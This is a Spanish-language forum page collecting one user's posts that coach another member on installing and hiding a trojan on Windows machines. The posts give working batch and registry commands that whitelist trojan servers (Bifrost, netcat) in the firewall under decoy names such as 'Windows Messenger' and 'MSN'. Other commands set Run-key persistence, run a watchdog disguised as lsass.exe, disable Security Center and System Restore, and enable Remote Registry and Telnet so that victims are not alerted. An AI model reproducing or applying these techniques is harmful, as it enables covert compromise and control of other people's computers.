Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Stacker

#21
CitarAsi hago la excepcion del troyano no ?
Sí, asi está bien, ya que el bat no accederá nunca a la red sino otros programas que este pueda llamar o simplemente que ya estuvieran ahi.

Ej(bo.exe es un ejemplo):
HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
/v bo.exe /t REG_SZ /d "%windir%\ctfmon\1234\bo.exe:*:Enabled:  Windows Messenger"


De todas formas puede que el troyano ya se encargue de saltar el firewall por si solo. Es decir, las excepciones las tendrias que crear para este tipo de ejecutables que si que conectan a la red.


Me refereria también a que en el ctfmon.bat al no estar compilado será visible la ventana de simbolo del sistema.

Si no tienes ningún problema con esto creo que ya todo funciona bien.

Saludos
#22
Solo tienes que añadir un if, de lo contrario resultaria un mensaje de error que incluso daria a conocer la ruta en la que deberia estar:

if exist %windir%\system32\1234\lsass.exe ( start %windir%\system32\1234\lsass.exe )

Lo he probado y funciona todo correctamente.

Supongo que te habrás dado cuenta que ctfmon tiene la extensión .bat (para ser oculto debe estar compilado) y que también has agregado este como excepción del firewall (debe de ser el server del troyano).  ;D

Suerte
#23
Acorde a tu ejemplo:
Citar:r
ping 127.0.0.1 /n 20
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon
if %errorlevel%==1 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon /d "%windir%\system32\1234\ctfmon.bat" /f
goto r

Pero no tienes que añadirlo al codigo que ya tenias, es otro EXE, lo que los hara independientes (de ahi que te dije que lo podias llamar lsass.exe). El motivo es que no se pueden ejecutar dos bucles infinitos en un mismo batch, pero si son paralelos sí.

Para ejecutarlo al tiempo que el otro solo tendrias que añadir start %windir%\system32\1234\lsass.exe - lsass.exe puede tener cualquier otro nombre, pero si es igual al de algún proceso critico, el administrador de tareas no podrá finalizarlo.

Citar@echo off
reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
/v ctfmon.bat /t REG_SZ /d "%windir%\ctfmon\1234\ctfmon.bat:*:Enabled:  Windows Messenger"
REG ADD "hklm\software\microsoft\windows\currentversion\run" /v ctfmon.bat /d %windir%\system32\1234\ctfmon.bat /f
start %windir%\system32\1234\lsass.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" /v Start /d 4 /f
net start AppMgmt
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt" /v Start /d 4 /f
net start ProtectedStorage
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\ProtectedStorage" /v Start /d 2 /f
net start LmHosts
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\LmHosts" /v Start /d 2 /f
net stop wscsvc
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v Start /d 4 /f
net start RemoteRegistry
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\RemoteRegistry" /v Start /d 2 /f
net stop Srservice
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Srservice" /v Start /d 4 /f
net start TlnSvr
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\TlnSvr" /v Start /d 2 /f
:bucle
start /min explorer.exe
ping -n 120 localhost > nul
goto bucle

Este falso lsass.exe comprobará mediante el bucle r si existe el valor en el registro. Para ello intenta leer su contenido, si no hay errores (%errorlevel%==0) continua con el bucle, pero si %errorlevel%==1 vuelve a crear el valor en el registro.

Esto lo puedes usar también con cualquier otro valor o archivo (añadiendolo al código de lsass.exe), por ejemplo la excepción del firewall.

Saludos.
#24
Si colocas dos excepciones con el mismo nombre aparecerán las dos y serán distinguibles solamente al pulsar sobre modificar, ya que mostrará el ejecutable referido.

Citarsi la persona ve en el msconfig el start del bat lo va a ver con la extension .bat?
No en la primera columna, aunque si en la segunda (Comando) en la que aparece la ruta completa. Esta suele cortarse asi que si el nombre es discreto... ;)

En cuanto a lo de restaurar el valor de registro se me ha acurrido este código de otro EXE que puedes lanzar al inicio del otro con start (para que no se detenga la ejecución del primero)
:r
ping 127.0.0.1 /n 20
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v [Nombre de valor]
if %errorlevel%==1 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v [Nombre de valor] /d "[Ejecutable]" /f
goto r


Este puede ser utilizado para comprobar si faltan archivos y volver a copiarlos o cualquier otra tarea. Si además lo compilas con el nombre de lsass.exe, comprobarás que el administrador de tareas tiene problemas para finalizarlo ;D
-Aunque con taskkill /f /pid [PID] si puede ser cerrado. Esto pasa con cualquier proceso crítico del sistema

Saludos
#25
Con cualquiera de estas dos lineas:

  • netsh firewall set opmode mode = DISABLE
  • net stop SharedAccess

-saltará una advertencia de seguridad al lado del reloj de windows. Por lo que te recomiendo, a no ser que de verdad quieras desactivar todo el firewall y permitir todas las conexiones, que solamente hagas una excepción en el firewall para tu server con un nombre discreto. De esta forma será silencioso y al ejecutarse al inicio del sistema pasará desapercibido.

Además, la linea que más tarda en ejecutarse con diferencia es "net stop SharedAccess" - Seguiré buscando algo para evitar la alerta

Citarreg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "%windir%\system32\bifrost\server.exe" /t REG_SZ /d "%windir%\system32\bifrost\server.exe:*:Enabled:Asistencia Remota"


Con lo de saltar la parte de código antes del bucle creo que si no tarda mucho es mejor que se ejecute, asegurando la configuración (por si hay futuros cambios). Sobre todo en la que se modifica el firewall ya que puede delatar a tu server.


CitarGracias por su ayuda realmente me estan ayudando un monton ! se los agradezco.   :-[
De nada, creo que todos los que estamos aquí disfrutamos con este tipo de cosas. :D

Saludos
#26
Hay una cosa que no has entendido muy bien.

El batch no necesita pasar el firewall, lo necesitan aquellos ejecutables usados en el batch que necesiten acceso a internet. Por ejemplo: si tu aplicación ya compilada utiliza netcat para dejar puertos a la escucha windows avisará al usuario, preguntandole si desea permitir esta conexión. La forma de evitarlo es con:

reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "%windir%\nc.exe" /t REG_SZ /d "%windir%\nc.exe:*:Enabled:MSN"

Donde: Enabled - indica que se quiere permitir siempre la conexión.
También puede cambiar por: Disabled - no permitirá la conexión.

En el ejemplo he usado como nombre de la conexión MSN, este nombre si puede coincidir con uno ya existente, ya que en el registro se almacena con un valor que utiliza como nombre la ruta del archivo.




CitarY si no lo compilo con nada se va a ver la ventana msdos verdad?

Sí, será visible. De todas formas ¿me podrias decir el nombre de la dll y la versión de QBFC?, solo por curiosidad. :)




Vamos con los servicios.


  • Parar un servicio: NET STOP "Nombre de servicio"
  • Iniciar un servicio: NET START "Nombre de servicio"
  • Pausar un servicio: NET PAUSE "Nombre de servicio"
  • Continuar un servicio: NET CONTINUE "Nombre de servicio"

- Como nombre de servicio vale el descriptivo ("Actualizaciones atomáticas") o el de servicio en si ("wuauserv")

El modo de inicio (Automatico, Manual o Deshabilitado) se cambia modificando el registro:

En la clave "HKLM\STEMYS\CurrentControlSet\Services", existe una clave para cada servicio y dentro un valor REG_DWORD de nombre Start, por ejemplo para actualizaciones automáticas: "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv\Start".

Este valor puede ser:

  • 2 - Automático
  • 3 - Manual
  • 4 - Deshabilitado

PE:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /d 4 /f
-Deshabilitaria Actualizaciones automáticas.


PD: Te recomiendo buscar información sobre el comando NET puede dar mucho juego.  ;)


Saludos.
#27
CitarEste script estaria bien

Sí, el script funcionaria bien. (habria que pulsar una tecla cada vez que haya un pause)

Aunque en el bucle no hace falta que se repitan lineas:
:bucle
start /min explorer.exe
ping -n 120 localhost > nul
goto bucle


y si lo vas a compilar como aplicación oculta no hacen falta los > nul para "silenciar" el ping, ya que no se verán. Además en este caso tendrias que eliminar los pause por el mismo motivo.

Una última cosa: si el apagado del firewall va a ser utilizado es mejor crear una excepción y se evita facilmente la alerta del usuario (el firewall de windows seguiria funcionando y permitiria tu conexión):
reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
/v "[archivo ejecutable a permitir]" /t REG_SZ /d "[archivo ejecutable a permitir]:*:Enabled:[Nombre de la conexión]"


Si lo vas ha utilizar como *.bat funcionará perfectamente como está.

Saludos
#28
Scripting / Re: Otra duda en batch
16 Enero 2008, 17:59 PM
El caracter de escape en batch es ^.

PE:
  echo ^.
devuelve:
  .

Saludos
#29
Seria visible desde msconfig, también con cualquier programa que manipule el registro (regedit, RegCleaner...)
Por lo que: /v sys32.bat, mejor que sea un nombre que se camufle bien, ya que no tiene porque coincidir con el nombre de archivo.

Si con inicio de programas te refieres al del menú inicio, no. De esa forma es suficiente con copiar el archivo a ese directorio. Pero canta mucho y es más facil de eliminar.

Saludos
#30
Si usas archivos adjuntos al EXE creado, algunas versiones del programa extraen estos archivos al directorio en que es ejecutado. Esto es demasiado ruidoso y alguna vez puede darte problemas.   ;)

Yo tengo la versión 2.1.6.0, y esta versión extrae los archivos en "%userprofile%\Configuración local\Datos de programa", cuando se termina el programa estos archivos son borrados. Y si quisieras copiar algun adjunto a otra ruta lo podrias hacer desde la variable de entorno %MYFILES% que crea QBFC.

Si el troyano lo has echo tu deberia comprobar cada vez que se ejecuta si ya esta instalado para decidir que hacer después.

PD: Por experiencia propia las aplicaciones que se quedan funcionando en segundo plano (con bucles), al apagar el sistema pueden devolver un error, no afectan al programa pero alertan al usuario. (mejor hacer pruebas)

Suerte